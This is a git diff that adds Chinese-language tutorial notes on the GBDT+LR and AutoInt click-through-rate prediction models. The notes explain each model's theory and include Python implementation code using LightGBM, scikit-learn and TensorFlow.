+我们可以把树的生成过程理解成**自动进行多维度的特征组合**的过程，从根结点到叶子节点上的整个路径(多个特征值判断)，才能最终决定一棵树的预测值， 另外，对于**连续型特征**的处理，GBDT 可以拆分出一个临界阈值，比如大于 0.027 走左子树，小于等于 0.027（或者 default 值）走右子树，这样很好的规避了人工离散化的问题。这样就非常轻松的解决了逻辑回归那里**自动发现特征并进行有效组合**的问题， 这也是GBDT的优势所在。
+
+但是GBDT也会有一些局限性， 对于**海量的 id 类特征**，GBDT 由于树的深度和棵树限制（防止过拟合），不能有效的存储；另外海量特征在也会存在性能瓶颈，当 GBDT 的 one hot 特征大于 10 万维时，就必须做分布式的训练才能保证不爆内存。所以 GBDT 通常配合少量的反馈 CTR 特征来表达，这样虽然具有一定的范化能力，但是同时会有**信息损失**，对于头部资源不能有效的表达。
+
+所以， 我们发现其实**GBDT和LR的优缺点可以进行互补**。
+
+### GBDT+LR模型
+2014年， Facebook提出了一种利用GBDT自动进行特征筛选和组合， 进而生成新的离散特征向量， 再把该特征向量当做LR模型的输入， 来产生最后的预测结果， 这就是著名的GBDT+LR模型了。GBDT+LR 使用最广泛的场景是CTR点击率预估，即预测当给用户推送的广告会不会被用户点击。
+
+有了上面的铺垫， 这个模型解释起来就比较容易了， 模型的总体结构长下面这样：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200910161923481.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:67%;" />    
+</div>
+**训练时**，GBDT 建树的过程相当于自动进行的特征组合和离散化，然后从根结点到叶子节点的这条路径就可以看成是不同特征进行的特征组合，用叶子节点可以唯一的表示这条路径，并作为一个离散特征传入 LR 进行**二次训练**。
+
+比如上图中， 有两棵树，x为一条输入样本，遍历两棵树后，x样本分别落到两颗树的叶子节点上，每个叶子节点对应LR一维特征，那么通过遍历树，就得到了该样本对应的所有LR特征。构造的新特征向量是取值0/1的。 比如左树有三个叶子节点，右树有两个叶子节点，最终的特征即为五维的向量。对于输入x，假设他落在左树第二个节点，编码[0,1,0]，落在右树第二个节点则编码[0,1]，所以整体的编码为[0,1,0,0,1]，这类编码作为特征，输入到线性分类模型（LR or FM）中进行分类。
+
+**预测时**，会先走 GBDT 的每棵树，得到某个叶子节点对应的一个离散特征(即一组特征组合)，然后把该特征以 one-hot 形式传入 LR 进行线性加权预测。
+
+这个方案应该比较简单了， 下面有几个关键的点我们需要了解：
+1. **通过GBDT进行特征组合之后得到的离散向量是和训练数据的原特征一块作为逻辑回归的输入， 而不仅仅全是这种离散特征**
+2. 建树的时候用ensemble建树的原因就是一棵树的表达能力很弱，不足以表达多个有区分性的特征组合，多棵树的表达能力更强一些。GBDT每棵树都在学习前面棵树尚存的不足，迭代多少次就会生成多少棵树。
+3. RF也是多棵树，但从效果上有实践证明不如GBDT。且GBDT前面的树，特征分裂主要体现对多数样本有区分度的特征；后面的树，主要体现的是经过前N颗树，残差仍然较大的少数样本。优先选用在整体上有区分度的特征，再选用针对少数样本有区分度的特征，思路更加合理，这应该也是用GBDT的原因。
+4. 在CRT预估中， GBDT一般会建立两类树(非ID特征建一类， ID类特征建一类)， AD，ID类特征在CTR预估中是非常重要的特征，直接将AD，ID作为feature进行建树不可行，故考虑为每个AD，ID建GBDT树。
+	1. 非ID类树：不以细粒度的ID建树，此类树作为base，即便曝光少的广告、广告主，仍可以通过此类树得到有区分性的特征、特征组合
+	2. ID类树：以细粒度 的ID建一类树，用于发现曝光充分的ID对应有区分性的特征、特征组合
+
+### 编程实践
+
+下面我们通过kaggle上的一个ctr预测的比赛来看一下GBDT+LR模型部分的编程实践， [数据来源](https://github.com/zhongqiangwu960812/AI-RecommenderSystem/tree/master/Rank/GBDT%2BLR/data)
+
+我们回顾一下上面的模型架构， 首先是要训练GBDT模型， GBDT的实现一般可以使用xgboost， 或者lightgbm。训练完了GBDT模型之后， 我们需要预测出每个样本落在了哪棵树上的哪个节点上， 然后通过one-hot就会得到一些新的离散特征， 这和原来的特征进行合并组成新的数据集， 然后作为逻辑回归的输入，最后通过逻辑回归模型得到结果。
+
+根据上面的步骤， 我们看看代码如何实现：
+
+假设我们已经有了处理好的数据x_train, y_train。
+
+1. **训练GBDT模型**
+
+   GBDT模型的搭建我们可以通过XGBOOST， lightgbm等进行构建。比如：
+
+   ```python
+   gbm = lgb.LGBMRegressor(objective='binary',
+                               subsample= 0.8,
+                               min_child_weight= 0.5,
+                               colsample_bytree= 0.7,
+                               num_leaves=100,
+                               max_depth = 12,
+                               learning_rate=0.05,
+                               n_estimators=10,
+                               )
+   
+   gbm.fit(x_train, y_train,
+           eval_set = [(x_train, y_train), (x_val, y_val)],
+           eval_names = ['train', 'val'],
+           eval_metric = 'binary_logloss',
+           # early_stopping_rounds = 100,
+           )
+   ```
+
+2. **特征转换并构建新的数据集**
+
+   通过上面我们建立好了一个gbdt模型， 我们接下来要用它来预测出样本会落在每棵树的哪个叶子节点上， 为后面的离散特征构建做准备， 由于不是用gbdt预测结果而是预测训练数据在每棵树上的具体位置， 就需要用到下面的语句：
+
+   ```python
+   model = gbm.booster_            # 获取到建立的树
+   
+   # 每个样本落在每个树的位置 ， 下面两个是矩阵  (样本个数, 树的棵树)  ， 每一个数字代表某个样本落在了某个数的哪个叶子节点
+   gbdt_feats_train = model.predict(train, pred_leaf = True)
+   gbdt_feats_test = model.predict(test, pred_leaf = True)
+   
+   # 把上面的矩阵转成新的样本-特征的形式， 与原有的数据集合并
+   gbdt_feats_name = ['gbdt_leaf_' + str(i) for i in range(gbdt_feats_train.shape[1])]
+   df_train_gbdt_feats = pd.DataFrame(gbdt_feats_train, columns = gbdt_feats_name) 
+   df_test_gbdt_feats = pd.DataFrame(gbdt_feats_test, columns = gbdt_feats_name)
+   
+   # 构造新数据集
+   train = pd.concat([train, df_train_gbdt_feats], axis = 1)
+   test = pd.concat([test, df_test_gbdt_feats], axis = 1)
+   train_len = train.shape[0]
+   data = pd.concat([train, test])
+   ```
+
+3. **离散特征的独热编码，并划分数据集**
+
+   ```python
+    # 新数据的新特征进行读入编码
+   for col in gbdt_feats_name:
+       onehot_feats = pd.get_dummies(data[col], prefix = col)
+       data.drop([col], axis = 1, inplace = True)
+       data = pd.concat([data, onehot_feats], axis = 1)
+       
+    # 划分数据集
+   train = data[: train_len]
+   test = data[train_len:]
+     
+   x_train, x_val, y_train, y_val = train_test_split(train, target, test_size = 0.3, random_state = 2018)
+   ```
+
+4. **训练逻辑回归模型作最后的预测**
+
+   ```python
+   # 训练逻辑回归模型
+   lr = LogisticRegression()
+   lr.fit(x_train, y_train)
+   tr_logloss = log_loss(y_train, lr.predict_proba(x_train)[:, 1])
+   print('tr-logloss: ', tr_logloss)
+   val_logloss = log_loss(y_val, lr.predict_proba(x_val)[:, 1])
+   print('val-logloss: ', val_logloss)
+   
+   # 预测
+   y_pred = lr.predict_proba(test)[:, 1]
+   ```
+
+上面我们就完成了GBDT+LR模型的基本训练步骤， 具体详细的代码可以参考链接。
+
+### 思考
+1. **为什么使用集成的决策树？ 为什么使用GBDT构建决策树而不是随机森林？**
+2. **面对高维稀疏类特征的时候(比如ID类特征)， 逻辑回归一般要比GBDT这种非线性模型好， 为什么？** 
+
+
+**参考资料**
+
+* 王喆 - 《深度学习推荐系统》
+* [决策树之 GBDT 算法 - 分类部分](https://www.jianshu.com/p/f5e5db6b29f2)
+* [深入理解GBDT二分类算法](https://zhuanlan.zhihu.com/p/89549390?utm_source=zhihu)
+* [逻辑回归、优化算法和正则化的幕后细节补充](https://blog.csdn.net/wuzhongqiang/article/details/108456051)
+* [梯度提升树GBDT的理论学习与细节补充](https://blog.csdn.net/wuzhongqiang/article/details/108471107)
+* [推荐系统遇上深度学习(十)--GBDT+LR融合方案实战](https://zhuanlan.zhihu.com/p/37522339)
+* [CTR预估中GBDT与LR融合方案](https://blog.csdn.net/lilyth_lilyth/article/details/48032119)
+* [GBDT+LR算法解析及Python实现](https://www.cnblogs.com/wkang/p/9657032.html)
+* [常见计算广告点击率预估算法总结](https://zhuanlan.zhihu.com/p/29053940)
+* [GBDT--分类篇](https://blog.csdn.net/On_theway10/article/details/83576715?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-5.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-5.channel_param)
+
+**论文**
+
+* [http://quinonero.net/Publications/predicting-clicks-facebook.pdf   原论文](http://quinonero.net/Publications/predicting-clicks-facebook.pdf)
+* [Predicting Clicks: Estimating the Click-Through Rate for New Ads](https://www.microsoft.com/en-us/research/publication/predicting-clicks-estimating-the-click-through-rate-for-new-ads/)\
+* [Greedy Fun tion Approximation : A Gradient Boosting](https://www.semanticscholar.org/paper/Greedy-Fun-tion-Approximation-%3A-A-Gradient-Boosting-Friedman/0d97ee4888506beb30a3f3b6552d88a9b0ca11f0?p2df)
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/AutoInt.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/AutoInt.md
new file mode 100644
index 0000000..815b947
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/AutoInt.md
@@ -0,0 +1,277 @@
+## 写在前面
+AutoInt(Automatic Feature Interaction)，这是2019年发表在CIKM上的文章，这里面提出的模型，重点也是在特征交互上，而所用到的结构，就是大名鼎鼎的transformer结构了，也就是通过多头的自注意力机制来显示的构造高阶特征，有效的提升了模型的效果。所以这个模型的提出动机比较简单，和xdeepFM这种其实是一样的，就是针对目前很多浅层模型无法学习高阶的交互， 而DNN模型能学习高阶交互，但确是隐性学习，缺乏可解释性，并不知道好不好使。而transformer的话，我们知道， 有着天然的全局意识，在NLP里面的话，各个词通过多头的自注意力机制，就能够使得各个词从不同的子空间中学习到与其它各个词的相关性，汇聚其它各个词的信息。 而放到推荐系统领域，同样也是这个道理，无非是把词换成了这里的离散特征而已， 而如果通过多个这样的交叉块堆积，就能学习到任意高阶的交互啦。这其实就是本篇文章的思想核心。
+
+## AutoInt模型的理论及论文细节
+### 动机和原理
+这篇文章的前言部分依然是说目前模型的不足，以引出模型的动机所在， 简单的来讲，就是两句话：
+1. 浅层的模型会受到交叉阶数的限制，没法完成高阶交叉
+2. 深层模型的DNN在学习高阶隐性交叉的效果并不是很好， 且不具有可解释性
+
+于是乎：
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/60f5f213f34d4e2b9bdb800e6f029b34.png#pic_center" alt="image-20210308142624189" style="zoom: 80%;" /> 
+</div>
+
+那么是如何做到的呢？ 引入了transformer， 做成了一个特征交互层， 原理如下：
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/d05a80906b484ab7a026e52ed2d8f9d4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="image-20210308142624189" style="zoom: 80%;" /> 
+</div>
+
+### AutoInt模型的前向过程梳理
+下面看下AutoInt模型的结构了，并不是很复杂
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/1aeabdd3cee74cbf814d7eed3147be4e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_1#pic_center" alt="image-20210308142624189" style="zoom: 85%;" /> 
+</div>
+
+#### Input Layer
+输入层这里， 用到的特征主要是离散型特征和连续性特征， 这里不管是哪一类特征，都会过embedding层转成低维稠密的向量，是的， **连续性特征，这里并没有经过分桶离散化，而是直接走embedding**。这个是怎么做到的呢？就是就是类似于预训练时候的思路，先通过item_id把连续型特征与类别特征关联起来，最简单的，就是把item_id拿过来，过完embedding层取出对应的embedding之后，再乘上连续值即可， 所以这个连续值事先一定要是归一化的。 当然，这个玩法，我也是第一次见。 学习到了， 所以模型整体的输入如下：
+
+$$
+\mathbf{x}=\left[\mathbf{x}_{1} ; \mathbf{x}_{2} ; \ldots ; \mathbf{x}_{\mathbf{M}}\right]
+$$
+这里的$M$表示特征的个数, $X_1, X_2$这是离散型特征， one-hot的形式， 而$X_M$在这里是连续性特征。过embedding层的细节应该是我上面说的那样。
+#### Embedding Layer
+embedding层的作用是把高维稀疏的特征转成低维稠密， 离散型的特征一般是取出对应的embedding向量即可， 具体计算是这样：
+$$
+\mathbf{e}_{\mathbf{i}}=\mathbf{V}_{\mathbf{i}} \mathbf{x}_{\mathbf{i}}
+$$
+对于第$i$个离散特征，直接第$i$个嵌入矩阵$V_i$乘one-hot向量就取出了对应位置的embedding。 当然，如果输入的时候不是个one-hot， 而是个multi-hot的形式，那么对应的embedding输出是各个embedding求平均得到的。
+
+$$
+\mathbf{e}_{\mathbf{i}}=\frac{1}{q} \mathbf{V}_{\mathbf{i}} \mathbf{x}_{\mathbf{i}}
+$$
+比如， 推荐里面用户的历史行为item。过去点击了多个item，最终的输出就是这多个item的embedding求平均。
+而对于连续特征， 我上面说的那样， 也是过一个embedding矩阵取相应的embedding， 不过，最后要乘一个连续值
+$$
+\mathbf{e}_{\mathbf{m}}=\mathbf{v}_{\mathbf{m}} x_{m}
+$$
+这样，不管是连续特征，离散特征还是变长的离散特征，经过embedding之后，都能得到等长的embedding向量。 我们把这个向量拼接到一块，就得到了交互层的输入。
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/089b846a7f5c4125bc99a5a60e03d1ff.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+#### Interacting Layer
+这个是本篇论文的核心了，其实这里说的就是transformer块的前向传播过程，所以这里我就直接用比较白话的语言简述过程了，不按照论文中的顺序展开了。
+
+通过embedding层， 我们会得到M个向量$e_1, ...e_M$，假设向量的维度是$d$维， 那么这个就是一个$d\times M$的矩阵， 我们定一个符号$X$。 接下来我们基于这个矩阵$X$，做三次变换，也就是分别乘以三个矩阵$W_k^{(h)}, W_q^{(h)},W_v^{(h)}$， 这三个矩阵的维度是$d'\times d$的话， 那么我们就会得到三个结果：
+$$Q^{(h)}=W_q^{(h)}\times X \\ K^{(h)} = W_k^{(h)} \times X \\ V^{(h)} = W_v^{(h)} \times X$$
+这三个矩阵都是$d'\times M$的。这其实就完成了一个Head的操作。所谓的自注意力， 就是$X$通过三次变换得到的结果之间，通过交互得到相关性，并通过相关性进行加权汇总，全是$X$自发的。 那么是怎么做到的呢？首先， 先进行这样的操作：
+$$Score(Q^h,K^h)=Q^h \times {K^h}^T$$
+这个结果得到的是一个$d'\times d'$的矩阵， 那么这个操作到底是做了一个什么事情呢？
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20200220195022623.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 90%;" /> 
+</div>
+
+假设这里的$c_1..c_6$是我们的6个特征， 而每一行代表每个特征的embedding向量，这样两个矩阵相乘，相当于得到了当前特征与其它特征两两之间的內积值， 而內积可以表示两个向量之间的相似程度。所以得到的结果每一行，就代表当前这个特征与其它特征的相似性程度。
+
+接下来，我们对$Score(Q^h,K^h)$， 在最后一个维度上进行softmax，就根据相似性得到了权重信息，这其实就是把相似性分数归一化到了0-1之间
+
+$$Attention(Q^h,K^h)=Softmax(Score(Q^h,K^h))$$
+接下来， 我们再进行这样的一步操作
+$$E^{(h)}=Attention(Q^h,K^h) \times V$$
+这样就得到了$d'\times M$的矩阵$E$， 这步操作，其实就是一个加权汇总的过程， 对于每个特征， 先求与其它特征的相似度，然后得到一个权重，再回乘到各自的特征向量再求和。 只不过这里的特征是经过了一次线性变化的过程，降维到了$d'$。
+
+上面是我从矩阵的角度又过了一遍， 这个是直接针对所有的特征向量一部到位。 论文里面的从单个特征的角度去描述的，只说了一个矩阵向量过多头注意力的操作。
+$$
+\begin{array}{c}
+\alpha_{\mathbf{m}, \mathbf{k}}^{(\mathbf{h})}=\frac{\exp \left(\psi^{(h)}\left(\mathbf{e}_{\mathbf{m}}, \mathbf{e}_{\mathbf{k}}\right)\right)}{\sum_{l=1}^{M} \exp \left(\psi^{(h)}\left(\mathbf{e}_{\mathbf{m}}, \mathbf{e}_{1}\right)\right)} \\
+\psi^{(h)}\left(\mathbf{e}_{\mathbf{m}}, \mathbf{e}_{\mathbf{k}}\right)=\left\langle\mathbf{W}_{\text {Query }}^{(\mathbf{h})} \mathbf{e}_{\mathbf{m}}, \mathbf{W}_{\text {Key }}^{(\mathbf{h})} \mathbf{e}_{\mathbf{k}}\right\rangle
+\end{array} \\
+\widetilde{\mathbf{e}}_{\mathrm{m}}^{(\mathbf{h})}=\sum_{k=1}^{M} \alpha_{\mathbf{m}, \mathbf{k}}^{(\mathbf{h})}\left(\mathbf{W}_{\text {Value }}^{(\mathbf{h})} \mathbf{e}_{\mathbf{k}}\right)
+$$
+
+这里会更好懂一些， 就是相当于上面矩阵的每一行操作拆开了， 首先，整个拼接起来的embedding矩阵还是过三个参数矩阵得到$Q,K,V$， 然后是每一行单独操作的方式，对于某个特征向量$e_k$，与其它的特征两两內积得到权重，然后在softmax，回乘到对应向量，然后进行求和就得到了融合其它特征信息的新向量。 具体过程如图：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/700bf353ce2f4c229839761e7815515d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="image-20210308142624189" style="zoom: 80%;" /> 
+</div>
+
+上面的过程是用了一个头，理解的话就类似于从一个角度去看特征之间的相关关系，用论文里面的话讲，这是从一个子空间去看， 如果是想从多个角度看，这里可以用多个头，即换不同的矩阵$W_q,W_k,W_v$得到不同的$Q,K,V$然后得到不同的$e_m$， 每个$e_m$是$d'\times 1$的。
+
+然后，多个头的结果concat起来
+$$
+\widetilde{\mathbf{e}}_{\mathrm{m}}=\widetilde{\mathbf{e}}_{\mathrm{m}}^{(1)} \oplus \widetilde{\mathbf{e}}_{\mathrm{m}}^{(2)} \oplus \cdots \oplus \widetilde{\mathbf{e}}_{\mathbf{m}}^{(\mathbf{H})}
+$$
+这是一个$d'\times H$的向量， 假设有$H$个头。 
+
+接下来， 过一个残差网络层，这是为了保留原始的特征信息
+$$
+\mathbf{e}_{\mathbf{m}}^{\mathrm{Res}}=\operatorname{ReL} U\left(\widetilde{\mathbf{e}}_{\mathbf{m}}+\mathbf{W}_{\text {Res }} \mathbf{e}_{\mathbf{m}}\right)
+$$
+这里的$e_m$是$d\times 1$的向量， $W_{Res}$是$d'H\times d$的矩阵， 最后得到的$e_m^{Res}$是$d'H\times 1$的向量， 这是其中的一个特征，如果是$M$个特征堆叠的话，最终就是$d'HM\times 1$的矩阵， 这个就是Interacting Layer的结果输出。
+#### Output Layer
+输出层就非常简单了，加一层全连接映射出输出值即可：
+$$
+\hat{y}=\sigma\left(\mathbf{w}^{\mathrm{T}}\left(\mathbf{e}_{1}^{\mathbf{R e s}} \oplus \mathbf{e}_{2}^{\mathbf{R e s}} \oplus \cdots \oplus \mathbf{e}_{\mathbf{M}}^{\text {Res }}\right)+b\right)
+$$
+这里的$W$是$d'HM\times 1$的， 这样最终得到的是一个概率值了， 接下来交叉熵损失更新模型参数即可。
+
+AutoInt的前向传播过程梳理完毕。
+
+### AutoInt的分析
+这里论文里面分析了为啥AutoInt能建模任意的高阶交互以及时间复杂度和空间复杂度的分析。我们一一来看。
+
+关于建模任意的高阶交互， 我们这里拿一个transformer块看下， 对于一个transformer块， 我们发现特征之间完成了一个2阶的交互过程，得到的输出里面我们还保留着1阶的原始特征。 
+
+那么再经过一个transformer块呢？ 这里面就会有2阶和1阶的交互了， 也就是会得到3阶的交互信息。而此时的输出，会保留着第一个transformer的输出信息特征。再过一个transformer块的话，就会用4阶的信息交互信息， 其实就相当于， 第$n$个transformer里面会建模出$n+1$阶交互来， 这个与CrossNet其实有异曲同工之妙的，无法是中间交互时的方式不一样。 前者是bit-wise级别的交互，而后者是vector-wise的交互。 
+
+所以， AutoInt是可以建模任意高阶特征的交互的，并且这种交互还是显性。
+
+关于时间复杂度和空间复杂度，空间复杂度是$O(Ldd'H)$级别的， 这个也很好理解，看参数量即可， 3个W矩阵， H个head，再假设L个transformer块的话，参数量就达到这了。 时间复杂度的话是$O(MHd'(M+d))$的，论文说如果d和d'很小的话，其实这个模型不算复杂。
+### 3.4 更多细节
+这里整理下实验部分的细节，主要是对于一些超参的实验设置，在实验里面，作者首先指出了logloss下降多少算是有效呢？
+>It is noticeable that a slightly higher AUC or lower Logloss at 0.001-level is regarded significant for CTR prediction task, which has also been pointed out in existing works
+
+这个和在fibinet中auc说的意思差不多。
+
+在这一块，作者还写到了几个观点：
+1. NFM use the deep neural network as a core component to learning high-order feature interactions, they do not guarantee improvement over FM and AFM.
+2. AFM准确的说是二阶显性交互基础上加了交互重要性选择的操作， 这里应该是没有在上面加全连接
+3. xdeepFM这种CIN网络，在实际场景中非常难部署，不实用
+4. AutoInt的交互层2-3层差不多， embedding维度16-24
+5. 在AutoInt上面加2-3层的全连接会有点提升，但是提升效果并不是很大
+
+所以感觉AutoInt这篇paper更大的价值，在于给了我们一种特征高阶显性交叉与特征选择性的思路，就是transformer在这里起的功效。所以后面用的时候， 更多的应该考虑如何用这种思路或者这个交互模块，而不是直接搬模型。
+
+## AutoInt模型的简单复现及结构解释
+经过上面的分析， AutoInt模型的核心其实还是Transformer，所以代码部分呢？ 主要还是Transformer的实现过程， 这个之前在整理DSIN的时候也整理过，由于Transformer特别重要，所以这里再重新复习一遍， 依然是基于Deepctr，写成一个简版的形式。
+
+```python
+def AutoInt(linear_feature_columns, dnn_feature_columns, att_layer_num=3, att_embedding_size=8, att_head_num=2, att_res=True):
+    """
+    :param att_layer_num: transformer块的数量，一个transformer块里面是自注意力计算 + 残差计算
+    :param att_embedding_size:  文章里面的d', 自注意力时候的att的维度
+    :param att_head_num: 头的数量或者自注意力子空间的数量
+    :param att_res: 是否使用残差网络
+    """
+    # 构建输入层，即所有特征对应的Input()层，这里使用字典的形式返回，方便后续构建模型
+    dense_input_dict, sparse_input_dict = build_input_layers(linear_feature_columns+dnn_feature_columns)
+    
+    # 构建模型的输入层，模型的输入层不能是字典的形式，应该将字典的形式转换成列表的形式
+    # 注意：这里实际的输入预Input层对应，是通过模型输入时候的字典数据的key与对应name的Input层
+    input_layers = list(dense_input_dict.values()) + list(sparse_input_dict.values())
+    
+    # 线性部分的计算逻辑 -- linear
+    linear_logits = get_linear_logits(dense_input_dict, sparse_input_dict, linear_feature_columns)
+    
+    # 构建维度为k的embedding层，这里使用字典的形式返回，方便后面搭建模型
+    # 线性层和dnn层统一的embedding层
+    embedding_layer_dict = build_embedding_layers(linear_feature_columns+dnn_feature_columns, sparse_input_dict, is_linear=False)
+    
+    # 构造self-att的输入
+    att_sparse_kd_embed = concat_embedding_list(dnn_feature_columns, sparse_input_dict, embedding_layer_dict, flatten=False)
+    att_input = Concatenate(axis=1)(att_sparse_kd_embed)   # (None, field_num, embed_num)
+    
+    # 下面的循环，就是transformer的前向传播，多个transformer块的计算逻辑
+    for _ in range(att_layer_num):
+        att_input = InteractingLayer(att_embedding_size, att_head_num, att_res)(att_input)
+    att_output = Flatten()(att_input)
+    att_logits = Dense(1)(att_output)
+    
+    # DNN侧的计算逻辑 -- Deep
+    # 将dnn_feature_columns里面的连续特征筛选出来，并把相应的Input层拼接到一块
+    dnn_dense_feature_columns = list(filter(lambda x: isinstance(x, DenseFeat), dnn_feature_columns)) if dnn_feature_columns else []
+    dnn_dense_feature_columns = [fc.name for fc in dnn_dense_feature_columns]
+    dnn_concat_dense_inputs = Concatenate(axis=1)([dense_input_dict[col] for col in dnn_dense_feature_columns])
+    
+    # 将dnn_feature_columns里面的离散特征筛选出来，相应的embedding层拼接到一块
+    dnn_sparse_kd_embed = concat_embedding_list(dnn_feature_columns, sparse_input_dict, embedding_layer_dict, flatten=True)
+    dnn_concat_sparse_kd_embed = Concatenate(axis=1)(dnn_sparse_kd_embed)
+    
+    # DNN层的输入和输出
+    dnn_input = Concatenate(axis=1)([dnn_concat_dense_inputs, dnn_concat_sparse_kd_embed, att_output])
+    dnn_out = get_dnn_output(dnn_input)
+    dnn_logits = Dense(1)(dnn_out)
+     
+    # 三边的结果stack
+    stack_output = Add()([linear_logits, dnn_logits])
+    
+    # 输出层
+    output_layer = Dense(1, activation='sigmoid')(stack_output)
+    
+    model = Model(input_layers, output_layer)
+    
+    return model
+```
+这里由于大部分都是之前见过的模块，唯一改变的地方，就是加了一个`InteractingLayer`， 这个是一个transformer块，在这里面实现特征交互。而这个的结果输出，最终和DNN的输出结合到一起了。 而这个层，主要就是一个transformer块的前向传播过程。这应该算是最简单的一个版本了:
+
+```python
+class InteractingLayer(Layer):
+    """A layer user in AutoInt that model the correction between different feature fields by multi-head self-att mechanism
+        input: 3维张量, (none, field_num, embedding_size)
+        output: 3维张量, (none, field_num, att_embedding_size * head_num)
+    """
+    def __init__(self, att_embedding_size=8, head_num=2, use_res=True, seed=2021):
+        super(InteractingLayer, self).__init__()
+        self.att_embedding_size = att_embedding_size
+        self.head_num = head_num
+        self.use_res = use_res
+        self.seed = seed
+        
+    
+    def build(self, input_shape):
+        embedding_size = int(input_shape[-1])
+        
+        # 定义三个矩阵Wq, Wk, Wv
+        self.W_query = self.add_weight(name="query", shape=[embedding_size, self.att_embedding_size * self.head_num],
+                                        dtype=tf.float32, initializer=tf.keras.initializers.TruncatedNormal(seed=self.seed))
+        self.W_key = self.add_weight(name="key", shape=[embedding_size, self.att_embedding_size * self.head_num], 
+                                     dtype=tf.float32, initializer=tf.keras.initializers.TruncatedNormal(seed=self.seed+1))
+        self.W_value = self.add_weight(name="value", shape=[embedding_size, self.att_embedding_size * self.head_num],
+                                      dtype=tf.float32, initializer=tf.keras.initializers.TruncatedNormal(seed=self.seed+2))
+        
+        if self.use_res:
+            self.W_res = self.add_weight(name="res", shape=[embedding_size, self.att_embedding_size * self.head_num],
+                                        dtype=tf.float32, initializer=tf.keras.initializers.TruncatedNormal(seed=self.seed+3))
+        
+        super(InteractingLayer, self).build(input_shape)
+    
+    def call(self, inputs):
+        # inputs (none, field_nums, embed_num)
+        
+        querys = tf.tensordot(inputs, self.W_query, axes=(-1, 0))   # (None, field_nums, att_emb_size*head_num)
+        keys = tf.tensordot(inputs, self.W_key, axes=(-1, 0))
+        values = tf.tensordot(inputs, self.W_value, axes=(-1, 0))
+        
+        # 多头注意力计算 按照头分开  (head_num, None, field_nums, att_embed_size)
+        querys = tf.stack(tf.split(querys, self.head_num, axis=2))
+        keys = tf.stack(tf.split(keys, self.head_num, axis=2))
+        values = tf.stack(tf.split(values, self.head_num, axis=2))
+        
+        # Q * K, key的后两维转置，然后再矩阵乘法 
+        inner_product = tf.matmul(querys, keys, transpose_b=True)    # (head_num, None, field_nums, field_nums)
+        normal_att_scores = tf.nn.softmax(inner_product, axis=-1)
+        
+        result = tf.matmul(normal_att_scores, values)   # (head_num, None, field_nums, att_embed_size)
+        result = tf.concat(tf.split(result, self.head_num, ), axis=-1)  # (1, None, field_nums, att_emb_size*head_num)
+        result = tf.squeeze(result, axis=0)  # (None, field_num, att_emb_size*head_num)
+        
+        if self.use_res:
+            result += tf.tensordot(inputs, self.W_res, axes=(-1, 0))
+        
+        result = tf.nn.relu(result)
+        
+        return result
+```
+这就是一个Transformer块做的事情，这里只说两个小细节:
+* 第一个是参数初始化那个地方， 后面的seed一定要指明出参数来，我第一次写的时候， 没有用seed=，结果导致训练有问题。
+* 第二个就是这里自注意力机制计算的时候，这里的多头计算处理方式， **把多个头分开，采用堆叠的方式进行计算(堆叠到第一个维度上去了)**。只有这样才能使得每个头与每个头之间的自注意力运算是独立不影响的。如果不这么做的话，最后得到的结果会含有当前单词在这个头和另一个单词在另一个头上的关联，这是不合理的。
+
+OK， 这就是AutoInt比较核心的部分了，当然，上面自注意部分的输出结果与DNN或者Wide部分结合也不一定非得这么一种形式，也可以灵活多变，具体得结合着场景来。详细代码依然是看后面的GitHub啦。
+
+## 总结
+这篇文章整理了AutoInt模型，这个模型的重点是引入了transformer来实现特征之间的高阶显性交互， 而transformer的魅力就是多头的注意力机制，相当于在多个子空间中， 根据不同的相关性策略去让特征交互然后融合，在这个交互过程中，特征之间计算相关性得到权重，并加权汇总，使得最终每个特征上都有了其它特征的信息，且其它特征的信息重要性还有了权重标识。 这个过程的自注意力计算以及汇总是一个自动的过程，这是很powerful的。
+
+所以这篇文章的重要意义是又给我们传授了一个特征交互时候的新思路，就是transformer的多头注意力机制。
+
+在整理transformer交互层的时候， 这里忽然想起了和一个同学的讨论， 顺便记在这里吧，就是：
+> 自注意力里面的Q,K能用一个吗？  也就是类似于只用Q， 算注意力的时候，直接$QQ^T$， 得到的矩阵维度和原来的是一样的，并且在参数量上，由于去掉了$w_k$矩阵， 也会有所减少。  
+
